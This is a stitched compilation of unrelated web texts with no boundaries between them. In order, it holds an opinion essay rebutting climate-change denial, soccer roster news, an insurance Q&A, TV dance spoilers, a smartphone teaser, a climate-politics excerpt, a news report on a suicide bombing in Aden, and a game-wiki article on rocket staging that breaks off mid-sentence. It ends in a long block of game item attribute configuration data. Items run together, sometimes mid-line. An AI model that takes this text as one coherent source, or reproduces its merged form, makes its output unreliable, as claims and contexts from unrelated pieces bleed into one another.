Climate change contrarians point to scores of out-of-context factoids to build a case against the scientific consensus. These zombie lies—thoroughly debunked falsehoods that refuse to die—are parroted by the conservative media-political complex, irresponsibly sowing confusion in the public.
A favorite talking point among those in denial, and a key to Monckton’s central argument, is the idea that global warming has “paused” over the last 16 years. Dr. Alan Robock, a climatologist at Rutgers University and a lead author on the IPCC fifth assessment report, tells me this is one of the most common lies repeated about climate change. The so-called pause ignores that the years between 2001 and 2012 rank among the warmest since record-keeping began, and that each of the last three decades has been the warmest on record. In fact, if you were born after February 1985, you’ve never experienced a below-average month in terms of global temperature.
For a contrarian though, the temperature record, which only goes back to around 1850, is far too short to reflect natural variations. The self-contradiction is one to behold: in the same breath, they say that a single decade of flat surface temperatures is evidence enough that global warming is overblown, but record-breaking temperatures over the last three decades do not provide enough data to show the true historical trend.
To compound the head-scratching: some two dozen reconstructions of paleoclimate records now show that the latter half of the 20th century experienced temperatures unprecedented in more than a millennium, but to a contrarian, paleoclimate models, as with future projections, cannot be trusted.
Even the very claim that there has been no observed warming over the last decade and a half is misleading. It is true that the rate of increase of average global surface temperatures has slowed, but the effects of global warming as a whole have by no means come to a halt. Arctic ice continues to disappear, our seas continue to rise, and ocean warming has kept right on pace. This last bit is key.
Focusing in on only a decade of surface temperatures, contrarians (and the media at large, for that matter) ignore that more than 90 percent of the extra heat created by the greenhouse effect is actually absorbed by the oceans. In fact, only about 2 percent of the added energy goes into the atmosphere, affecting day-to-day seasonal temperatures. This means ignoring 98 percent of global warming actually occurring on our planet. Kevin Trenberth and John Fasullo of the National Center for Atmospheric Research, who recently published a paper on ocean warming, reaffirm, “[Global warming] is very much alive but being manifested in somewhat different ways than a simple increase in global mean surface temperature.” Since 1960, the amount of energy accumulating in the oceans is estimated to be about the equivalent of two Hiroshima “Little Boy” atomic bomb detonations per second, every second, for the last five decades.
Monckton’s claim that we haven’t seen warming over the last 16 years is probably his most egregious misconception given the media’s widespread adoption of the same line, but he has an entire grab bag of falsehoods. He says there is no scientific consensus; that empirical data does not support the idea that man-made global warming might be catastrophic; that solar activity can explain most of the modest warming we have observed; that arctic sea ice is just fine; that northern hemisphere snow cover has increased throughout the 33-year satellite record; that the Medieval Warm Period was warmer than today; and that even with continued global warming, the cost of mitigation would be far more expensive than doing nothing. The list of fallacies and half-truths go on.
Monckton even warns that the climate scam is actually responsible for killing people, and that it will take more than vocal advocacy to stop the scientists: “Two or three of the worst pseudo-scientists who have contrived the global-warming scare should be prosecuted for racketeering under the RICO statute, and locked up for a very long time for what has proven to be the largest and most costly fraud in the history of man. The rest of the profiteers of doom would very soon scuttle for cover and the scare would be over.”
John Cook, the author of Climate Change Denial: Heads in the Sand, and founder of SkepticalScience.com, a blog dedicated to exposing climate myths, tells me that because of continued public confusion, it’s important to provide “coverage of climate contrarians [that] places them in [a] broader context.” Skeptical Science has an entire section dedicated to countering the inaccuracies preached by Christopher Monckton, but Cook says that they have “paid less attention to Monckton over time, as he has become more marginalized and extremist in his views. He is notorious for promoting extreme and bizarre conspiracy theories.”
No longer should the debate center on going tit for tat with the opposition on the fundamentals of established science—being forced to debunk hollow arguments incessantly is exactly the strategy of a contrarian. For the layman, a basic understanding of a given issue is requisite for any democratic debate, but at some point the expert consensus should be adhered to. What remains clear is that the community of deniers is not assembled of some diverse spectrum of censored scientists and concerned citizens contributing to the debate in good faith, but rather, the usual suspects.
Polling by researchers at Yale University shows that only around one third of Tea Party members believe in global warming, while around 80 percent of those same people consider themselves fairly or very informed on the subject. Further, a majority polled go on to say that they need no more information on the subject to develop a firm opinion. Sociologists at Michigan State and Oklahoma State Universities similarly find that “conservative white males are significantly more likely than other Americans to endorse denialist views…and that these differences are even greater for those who self-report understanding global warming very well.”
As it happens, Lord Monckton is also staunchly religious. He tells me that religion is a fundamental necessity to appreciate why science matters, and that the climate scam has succeeded due to a lack of religious study, going so far as to say that science should only be practiced by those who adhere to religion, preferably of the Christian variety. “Scientists need an external standard of morality, such as religion provides, to keep them straight,” he says. He goes on to highlight Catholicism as a “particularly valuable discipline” for scientists because the denomination “insists on intellectual rigor.”
It would be one thing if climate change denial were confined to the realm of Tea Party rallies and conservative media. But it’s not just Fox News (where, according to Media Matters, 69 percent of guests and 75 percent of mentions cast doubt on climate science) and talk radio that have served as a platform for misinformation. Mainstream print and TV media outlets have amplified marginal viewpoints in an effort to fit norms of journalistic balance. It’s a bias toward being “unbiased,” and special interest groups have taken advantage. In 1998, a memo by the public relations team at the American Petroleum Industry read, “Victory will be achieved when uncertainties in climate science become part of the conventional wisdom’’ for ‘‘average citizens’’ and ‘‘the media.” The plan suggested training so-called skeptic scientists in media relations to highlight the legitimate uncertainties of climate science.
Overwhelmingly, however, those taking to the op-ed pages of newspapers and television debate panels lack scientific credentials. Readers and viewers are tasked with sorting through arguments presented by bloggers, political figures, and media pundits. Dr. Robock says that though improving, journalists are culpable for sending mixed messages to the public: “It is getting better, but media still sometimes portrays it as an argument that has equal merit on both sides, rather than just educating the public about the settled science.” Media Matters also points out that although only 3 percent of climate scientists reject the climate consensus, doubters comprised over 18 percent of those quoted in Bloomberg News, the Los Angeles Times, the Wall Street Journal, and the Washington Post. It’s not fifty-fifty anymore, but it still fails to reflect reality.
So why focus on fringe voices like Christopher Monckton and right-wing pundits? It might be easier to brush them aside if conservative officials elected to high office weren’t echoing the same exact rhetoric. James Inhofe, a Republican Senator from Oklahoma, famously said that, “the idea that man-made gases, CO2, are causing catastrophic global warming is the greatest hoax ever perpetrated on the American people.” Even Mitt Romney backtracked from his relatively green days as Massachusetts governor. Campaigning on the presidential stump, Romney clarified that while he does indeed think the world is getting hotter, he doesn’t know if humans are to blame, and he is unwilling to spend on “something I don’t know the answer to.”
In the 113th Congress, more than half of Republicans in the House and two-thirds in the Senate have gone on record to say that they question or reject that climate change is real, is happening, and is caused by humans. Rising up the ranks to leadership positions, 17 out of 22 Republican members sitting on the House Science Committee are in denial, and a full 90 percent of Republican leadership in both House and Senate deny climate change.
Looking towards the future, presidential hopefuls Ted Cruz, Rand Paul, and Marco Rubio all reject the scientific consensus. Probable Former G.O.P. front-runner [editors note: this piece was originally published before the George Washington Bridge scandal] Chris Christie says climate change is real but has taken on few efforts to reduce greenhouse gas emissions during his tenure as governor of New Jersey.
With financial backing from the fossil fuel industry, and an upswell of party activists taking the issue of climate change into the twilight zone of American culture wars, Republican legislators feel little pressure to sign on to the scientific consensus, let alone attach their name to a pro-climate agenda.
Climate change is a burgeoning global crisis that will require vast cooperation between nation-states, both in public and private sectors. It will likely involve some redistribution of wealth from rich to developing nations in order to mitigate and adapt to climate changes—a burden for which the former is, historically, largely responsible. This reality is ideologically untenable to absolutist libertarians, causing them to reverse-engineer and outright reject the basics of the science. But if the warnings of the climate science community continue to pan out, what would be their proposed solution? It might involve doing nothing, letting the markets adjust over time, but already the damage will have been long locked in place.
As with other major policy challenges in the U.S., like comprehensive immigration reform or gun control, the intransigence of a political minority continues to stifle progress. But how much blame should we assign to climate change deniers for our collective inaction? Are we letting those most informed and in touch with reality off the hook by focussing on the fringe? Longtime journalist and grassroots organizer Bill McKibben agrees this might be the case: “I think the bigger problem is with institutions and people who know better but don’t do much, from the White House on down.”
Follow @themindofskankThe Houston Dash are coming off of a busy week in which they added three players and said goodbye to another. Thursday’s announcement of the signing of Brazilian national team player’s Rosana and Poliana was followed by the announcement on Friday of the acquisition of Ashley Nick from Sky Blue FC. Released in order to make room for the new signings was Nigerian center back Osi Ohale.
I think our fans really were upset about the Romero trade, but if you keep Ohale and Romero you are at 11 players potentially missing for the World Cup
Dash head coach Randy Waldrum was in a buoyant mood Friday afternoon about the additions, particularly the two Brazilians, “We picked up two world class players. Last year we didn’t have enough ability to generate really consistent attacks. We didn’t score enough goals or create enough and Rosana can certainly do that, more in terms of creating opportunities for others than in scoring goals herself.”
Rosana is a player who can play in the midfield, just underneath the forwards or on the left wing providing for some versatility in attack. As is the case with Poliana, the Brazilian midfielder is a skillful and technical player who can open up opposing defenses to create scoring opportunities for her teammates.
As for Poliana, as Waldrum puts it she is “the up and coming right back for Brazil at the moment”. Her play over the past year has meant that she has likely locked down the right side of the Brazilian defense. She is a true threat going forward, “The thing I like about her is she can attack coming out of the back and can actually even score goals coming out of the back,” says Waldrum.
“In a pinch she can also play up front on the right wing. She’s creative, it is not just get forward running up and down vertically, she has the ability to take players on and beat you off the dribble. My hope is these signings are going to really change the dynamics of our attack. When you think about getting the #1 draft pick, we’ve brought in Rachael Axon, we’ll have [Brittany] Bock back and we’ve thrown in Carli Lloyd; we are going to have players who are going to create and we will have opportunities to score more goals.”
If adding Rosana and Poliana is about improving the overall quality of the team, trading for Nick is about depth and the World Cup period. “If you look at our team during the World Cup, in that 1st half of the season the midfield players we really have are Jordan [Jackson], [Rachael] Axon and Bock.
“So that move just made really good sense to us because I think it gets harder and harder for your draft choices to make rosters given there are so few teams and the league gets stronger each year. We felt like looking at the #10 pick and what will be available at #13 is not that much different so we felt like dropping down a few spots we were going to get at #13 what we were going to get at #10. As result, we felt it was a no brainer to take Ashley,” explains Walrum.
Nick is an experienced player who filled the holding midfielder spot for Sky Blue but can play in multiple positions across the midfield and could drop in to center back in a crunch of the Dash needed it.
With so many players who are predominantly midfielders on the roster now (Rosana, Nick, Bock, Jackson, Axon, Lloyd, Kaylyn Kyle, Kelly McFarlane) it begs the obvious question as to whether Waldrum intends to stick with his 4-3-3 tactical formation or change to a different set-up in order to make full use of the tools he has at hand.
“You know, I probably won’t have that answered until we get everybody here in pre-season. We’ll do whatever formation it takes to get our best 11 on the field,” says Waldrum, “We’ve acquired a lot of midfield players but most all of these players can play in multiple places. I think we’ve got some flexibility with how we’ll play players. I think the key is once we get them all together is seeing if 4-3-3 works best or if we need to be into something that gives us more numbers in midfield.”
An unfortunate casualty of the Rosana and Poliana move was Ohale. The decision to release her was in part driven by salary cap considerations as well as the fact that the Brazilian pair is viewed as being much farther along as international players who can help the Dash in bigger ways than Ohale could.
The other issue that comes into play in every move the Dash make this offseason is concern over the number of Dash players who will be away for the World Cup. This played heavily into the decision to trade Ari Romero to the Washington Spirit for Niki Cross as well.
“I think our fans really were upset about the Romero trade, but if you keep Ohale and Romero you are at 11 players potentially missing for the World Cup and we can’t fill that out with pros, only with amateurs. So, we weren’t going to have enough players to have an 11 person roster in the 1st half of the season,” notes Waldrum.
“We have to look at which players are out there that are more important to us and what are the moves we could make in order to make sure we can acquire those players. The other part of it comes down to what other teams want. One thing a lot of fans may not know is you can’t just cut an allocated player. You either have that player or you trade them. They are guaranteed a spot, so when you look to make moves it also has a lot to do with who else wants your players.
“Fortunately for us, Washington wanted Ari. So it made that move – as much as I didn’t want to lose her – it made that move manageable because they wanted her. We also felt like Niki Cross would bring some experience to that back line.”
Releasing Ohale also frees up another international slot, although the Dash may not use that immediately. Waldrum indicates the the Dash will be choosy about using the international slot; if they can find the right player now, they will sign them. However, if not then they will hold the slot open until after the World Cup is over when it may become easier to sign top international players.
In the meantime, the Dash still have a need for a player who can score 10+ goals per season – Rosana is not that player – as well as help at the back, particularly center back.
Says Waldrum, “I don’t think you’ve seen the end of our moves. We are working on both of those areas right now. But I do think at least on the attacking side of the ball we are getting closer to where we need to be.”May I Move My Son Off My Insurance So He Can Buy On The Exchange?
Enlarge this image Roy Scott/Ikon Images/Corbis Roy Scott/Ikon Images/Corbis
Some people are trying to figure out how to become eligible for coverage on the health insurance marketplaces. Others are wondering how the Affordable Care Act may affect coverage they buy for their children under previously established state programs.
I am covered by my employer's health plan, but I'm not happy with it. My son is 21 and currently covered under my plan. While I realize that I am not eligible for Obamacare, I am curious if I can terminate my son's policy so that he might be eligible.
Since the open enrollment period to sign up for coverage on the state marketplaces ended Feb. 15, in general, people can't enroll in a marketplace plan until next year's open enrollment period rolls around.
If you drop your son from your employer plan, however, his loss of coverage could trigger a special enrollment period that allows him to sign up for a marketplace plan. Whether he's entitled to a special enrollment period depends on whether his loss of coverage is considered voluntary, say officials at the Centers for Medicare & Medicaid Services. In general, voluntarily dropping employer-sponsored coverage doesn't trigger a special enrollment period for individuals or their family members. But if you drop your son's coverage on his behalf without his consent, his loss of coverage wouldn't be considered voluntary and your son could qualify, according to CMS.
Whether he'll be eligible for tax credits to make marketplace coverage more affordable is another matter, says Judith Solomon, vice president for health policy at the Center on Budget and Policy Priorities.
If you claim him as your dependent, he generally won't be eligible. If you don't claim him as your dependent, he would have to qualify for subsidies based on his own income.
I received a notice from the Pennsylvania Children's Health Insurance Program that says they are eliminating CHIP coverage for participants who pay full-cost CHIP because it isn't compliant with the Affordable Care Act. They are forcing us onto the marketplace where the premiums are higher and our deductibles are higher. I believe the state is using the ACA to dismantle its CHIP plan. What can we do?
You should be able to keep your full-cost CHIP coverage after all because state and federal officials reached an agreement on the issue, say consumer advocates in Pennsylvania.
CHIP offers coverage to children in families that earn too much to qualify for Medicaid, the joint federal-state health program for low-income people. But in six states – including Pennsylvania – the program allows families that earn too much to qualify for CHIP under its guidelines to enroll their kids if they pay the full cost of coverage.
The federal government, however, determined that, among other things, the CHIP buy-in program didn't comply with the health law because plans had annual limits on certain types of coverage, such as behavioral health and physical therapy, that aren't allowed, says Ann Bacharach, special projects director at the Pennsylvania Health Law Project. That meant that the families of roughly 3,600 kids in the program would face penalties because the kids wouldn't be considered to have "minimum essential coverage."
But after notifying families that the full-cost CHIP coverage was ending, Pennsylvania Gov. Tom Wolf earlier this month said that his administration had reached an agreement with the federal government so that coverage could continue without penalties. Insurers, meanwhile, will work to bring the plans into compliance with the health law over the coming months.As in past weeks, ABC has dropped the song selections and styles that the couples will be performing to on the upcoming episode of Dancing With The Stars. This week is the semi-finals, and will feature an additional round of “iconic” dances from previous season. At the end of the episode Drew and Emma one partnership will be eliminated.
On to the spoilers!
Drew Scott and Emma Slater: Tango to I’m Gonna Be (500 Miles), by The Proclaimers
Frankie Muniz and Witney Carson: Salsa to Shake, by Yin Yang Twins & Pitbull
Jordan Fisher and Lindsay Arnold: Argentine Tango to Brother, by NEEDTOBREATHE
Lindsey Stirling and Mark Ballas: Contemporary to Head High, by Alexander Jean
Victoria Arlen and Val Chmerkovskiy: Waltz to To Build A Home, by Cinematic Orchestra
Here are the spoilers for the “Iconic Dances” round.
Drew Scott and Emma Slater: Jazz to Yeah!, by Usher (Corbin and Karina’s performance from season 17)
Frankie Muniz and Witney Carson: Paso Doble to Carnival De Paris, by Dario G (Apolo and Julianne’s performance from Season 4)
Jordan Fisher and Lindsay Arnold: Proud Mary, by Tina Turner (Paige and Mark’s performance from season 22)
Lindsey Stirling and Mark Ballas: Tango to Feel So Close, by Calvin Harris (Meryl and Maks’s performance from Season 18)
Victoria Arlen and Val Chmerkovskiy: Charleston to Bang Bang, bu will.i.am (Amber and Derek’s performance from Season 17)
So those are the spoilers! What do you think? Which routine are you most excited to see? Let me know in the comments below!
AdvertisementsOnePlus has released a teaser for its upcoming flagship smartphone. The company posted an image on the Chinese social network Weibo that confirms two things we already knew: the release date and the name of the device.
The tagline reads “Hello 5” and confirms that the smartphone will be called the OnePlus 5 and not the OnePlus 4. The company has decided to skip the number four, as it is considered to be unlucky in China due to its association with death.
Along with the image, OnePlus also wrote “Hey Summer! Give me five!”, which basically confirms that the flagship will be revealed in the summer months. There’s currently no word on exactly when that might happen, but we expect the OnePlus 5 will see the light of day at the end of June or sometime in July.
As of now, OnePlus hasn’t confirmed any other details regarding the device. We have come across a few rumors claiming that the OnePlus 5 will feature a 5.5-inch display with Full HD or QHD resolution, and will be powered by the latest Snapdragon 835 chipset. It’s also expected to sport a dual-camera setup on the back and a larger 3,600 mAh battery, which should get fully charged a lot faster (by 25 percent) when compared to its predecessor.
These are just some of the rumors regarding the device. If you want to know more about the upcoming flagship that will go head to head with the Samsung Galaxy S8 and LG G6, check out our OnePlus 5 rumor roundup post.“I think there is concern about where he stands because he hasn’t come out strongly one way or another,” said a Republican aide who insisted on anonymity because she was not authorized to speak publicly about the matter.
Environmental groups, for their part, have seized on each new scrap of information to warn of disastrous consequences should Mr. Trump be elected.
“Trump and Cramer are two peas in the climate denial pod, who would make reckless attacks on the progress we have made in the fight against climate change,” Seth Stein, a spokesman for the League of Conservation Voters, said in response to news reports Thursday afternoon about Mr. Cramer’s briefing paper.
If Mr. Trump were to acknowledge the reality of climate change, that might provide some Republican politicians with political cover to do so as well.
Since 2010, when a Republican member of Congress, Bob Inglis, lost his re-election bid after saying he would favor a carbon tax, many in the party have regarded any mention of climate change as the equivalent of political suicide. (Mr. Inglis has since focused on persuading conservatives to be “less averse” to addressing climate change, and started a nonprofit group, the Enterprise and Energy Initiative, focusing on conservative responses to the problem.)
Yet polls have repeatedly found that a majority of Republican voters, particularly young ones, believe that climate change is real and that the government should take action to reduce carbon dioxide emissions.
Anthony Leiserowitz, director of the Yale program on Climate Change Communication, said that a nationally representative survey of 1,004 registered voters, conducted in March in conjunction with George Mason University, found that 56 percent of Trump voters agreed that climate change was occurring. Just over half of them, however, thought those changes were caused by natural changes in the environment, rather than the result of human-generated emissions.ADEN (Reuters) - A suicide bomber killed at least 50 Yemeni soldiers at a base in the city of Aden, a local security official said, in another major attack claimed by Islamic State on forces allied to a Saudi-led military coalition.
The attacker blew himself up as the troops were waiting to collect their salaries, the government sources added, wounding around 70 others as they lined up to collect salaries at the entrance to the Sawlaban base on the outskirts of the city.
Islamic State claimed responsibility for the attack in a message posted online.
The Yemeni branch of the militant group based in Iraq and Syria has carried out many deadly bombings around troops in the southern port city, which is under the control of the internationally recognized government in exile in Saudi Arabia.
The Kingdom intervened in Yemen’s civil war in March 2015 to fight the government’s foes in the Iran-allied Houthi movement but have failed to dislodge the group from the capital Sanaa despite thousands of air strikes.
Houthi forces were pushed out of Aden and much of Yemen’s south last summer, but the government and coalition troops have struggled to enforce their control as Al Qaeda and Islamic State militants use the security vacuum to carry out attacks.
At least 10,000 people have been killed in the 20-month conflict, which has unleashed a humanitarian crisis on the impoverished country.From Kerbal Space Program Wiki
All engines uses first S4's fuel, then S3's fuel and so on
Asparagus staging was a method to build very efficient rockets in early versions of Kerbal Space Program. The stock vessel Kerbal X demonstrates this technique.
Over various version updates the drag model of the game has been made more realistic and larger, higher-efficiency engines added to the game, this has caused asparagus staging to become much less viable as a rocket constructing technique in modern versions of the game as usually it is better to simply use a single large engine per stage.
The technique is still useful for building exceptionally large rockets when no larger engines are available.
Function
Kerbal X's seq.
The idea is to create a rocket with a lot of parallel rocket engines with fuel tanks on top of them. All engines ignite at the same time. The trick, however, is that each rocket engine isn't depleting its own tank, but they are all draining their fuel from the outermost tanks. When these are depleted, the outmost tanks with their engines are decoupled and the next fuel tank takes over which is still completely full. The result is that the rocket always flies with the minimum number of tanks required to transport the fuel it has left while also constantly using all engines it has on board.
This concept can be realized through fuel lines which connect the stages in the order they will be dropped. It uses the fact that engines will always take their fuel from the most distant fuel tank available.
The main use of Asparagus Staging is to lift heavy payloads with higher mass to thrust ratio, mainly in the form of fuel, to orbit for the purpose of missions to the Mun and beyond. It can also be used effectively for the purpose of Space Station launch.
Disadvantages
Overhead view of a vessel using massive asparagus staging
The biggest disadvantage of this technique is the complexity of building it. Usually the symmetry modes can only be used partially. One way is to only mirror each separate stage allowing to use symmetry for the complete setup. One drawback is, that the engines then are not always at the same height which may induce torque. Another way is to build everything except the fuel lines with the symmetry mode, but there each fuel line needs to be placed manually.
With more massive payloads it may require more layers of fuel stacks and struts, making the technique challenging due to the high part count. Although a rocket without asparagus staging has a higher part count because it is more inefficient. The part count can be reduced by installing rocket part mods that provide fuel tanks and engines of larger sizes, allowing to achieve equal performance with less parts, more stability and better looks.
Another disadvantage is that rockets utilizing this design may be unrealistic, because in the real world it is impractical or impossible to move fuel as quickly as would be needed. It also might look not aesthetic especially with multiple layers, because there are then many small rockets bundled together.
The rocket tends to start to roll when using this type of staging which might result in a loss in control of the craft. It also loses thrust with each staging event but only a lower mass compared to other staging methods. This can cause a serious drop of velocity reducing the efficiency.
As of 0.24 when a lot of parts have their cost modified, some rocket designs which use solid fuel boosters may be cheaper than those which use asparagus staging, when both rockets' payload mass to low Kerbin orbit is the |
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"#Attrib_ClipSize_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "5" { "name" "fire rate penalty" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor fire rate penalty" "min_value" "1.05" "max_value" "1.25" "group" "only_on_unique" "description_string" "#Attrib_FireRate_Negative" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1040" { "name" "Tier 1 fire rate penalty" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor fire rate penalty" "min_value" "1.05" "max_value" "1.05" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Negative" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1041" { "name" "Tier 2 fire rate penalty" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor fire rate penalty" "min_value" "1.1" "max_value" "1.1" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Negative" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1042" { "name" "Tier 3 fire rate penalty" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor fire rate penalty" "min_value" "1.15" "max_value" "1.15" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Negative" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1043" { "name" "Tier 4 fire rate penalty" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor fire rate penalty" "min_value" "1.2" "max_value" "1.2" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Negative" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1044" { "name" "Tier 5 fire rate penalty" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor fire rate penalty" "min_value" "1.25" "max_value" "1.25" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Negative" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "6" { "name" "fire rate bonus" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor firerate bonus" "min_value" "0.95" "max_value" "0.9" "group" "only_on_unique" "description_string" "#Attrib_FireRate_Positive" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1050" { "name" "Tier 1 fire rate bonus" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor firerate bonus" "min_value" "0.95" "max_value" "0.95" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Positive" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1051" { "name" "Tier 2 fire rate bonus" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor firerate bonus" "min_value" "0.9" "max_value" "0.9" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Positive" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1052" { "name" "Tier 3 fire rate bonus" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor firerate bonus" "min_value" "0.85" "max_value" "0.85" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Positive" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1053" { "name" "Tier 4 fire rate bonus" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor firerate bonus" "min_value" "0.8" "max_value" "0.8" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Positive" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1054" { "name" "Tier 5 fire rate bonus" "attribute_class" "mult_postfiredelay" "attribute_name" "Minor firerate bonus" "min_value" "0.75" "max_value" "0.75" "group" "attrib_firerate" "description_string" "#Attrib_FireRate_Positive" "description_format" "value_is_inverted_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "7" { "name" "heal rate penalty" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate penalty" "min_value" "0.95" "max_value" "0.8" "group" "only_on_unique" "description_string" "#Attrib_HealRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1060" { "name" "Tier 1 heal rate penalty" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate penalty" "min_value" "0.95" "max_value" "0.95" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1061" { "name" "Tier 2 heal rate penalty" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate penalty" "min_value" "0.9" "max_value" "0.9" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1062" { "name" "Tier 3 heal rate penalty" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate penalty" "min_value" "0.85" "max_value" "0.85" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1063" { "name" "Tier 4 heal rate penalty" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate penalty" "min_value" "0.8" "max_value" "0.8" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1064" { "name" "Tier 5 heal rate penalty" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate penalty" "min_value" "0" "max_value" "0" "group" "invalid_tier" "description_string" "#Attrib_HealRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "8" { "name" "heal rate bonus" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate bonus" "min_value" "1.05" "max_value" "1.15" "group" "only_on_unique" "description_string" "#Attrib_HealRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1070" { "name" "Tier 1 heal rate bonus" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate bonus" "min_value" "1.05" "max_value" "1.05" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1071" { "name" "Tier 2 heal rate bonus" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate bonus" "min_value" "1.1" "max_value" "1.1" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1072" { "name" "Tier 3 heal rate bonus" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate bonus" "min_value" "1.15" "max_value" "1.15" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1073" { "name" "Tier 4 heal rate bonus" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate bonus" "min_value" "1.15" "max_value" "1.15" "group" "attrib_heal" "description_string" "#Attrib_HealRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "1074" { "name" "Tier 5 heal rate bonus" "attribute_class" "mult_medigun_healrate" "attribute_name" "Minor heal rate bonus" "min_value" "0" "max_value" "0" "group" "invalid_tier" "description_string" "#Attrib_HealRate_Positive" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "positive" "stored_as_integer" "0" } "9" { "name" "ubercharge rate penalty" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate penalty" "min_value" "0.95" "max_value" "0.85" "group" "only_on_unique" "description_string" "#Attrib_UberchargeRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1080" { "name" "Tier 1 ubercharge rate penalty" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate penalty" "min_value" "0" "max_value" "0" "group" "invalid_tier" "description_string" "#Attrib_UberchargeRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1081" { "name" "Tier 2 ubercharge rate penalty" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate penalty" "min_value" "0" "max_value" "0" "group" "invalid_tier" "description_string" "#Attrib_UberchargeRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1082" { "name" "Tier 3 ubercharge rate penalty" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate penalty" "min_value" "0.95" "max_value" "0.95" "group" "attrib_uber" "description_string" "#Attrib_UberchargeRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1083" { "name" "Tier 4 ubercharge rate penalty" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate penalty" "min_value" "0.9" "max_value" "0.9" "group" "attrib_uber" "description_string" "#Attrib_UberchargeRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "1084" { "name" "Tier 5 ubercharge rate penalty" "attribute_class" "mult_medigun_uberchargerate" "attribute_name" "Minor uber charge rate penalty" "min_value" "0.85" "max_value" "0.85" "group" "attrib_uber" "description_string" "#Attrib_UberchargeRate_Negative" "description_format" "value_is_percentage" "hidden" "0" "effect_type" "negative" "stored_as_integer" "0" } "10" { "name" "ubercharge rate bonus" 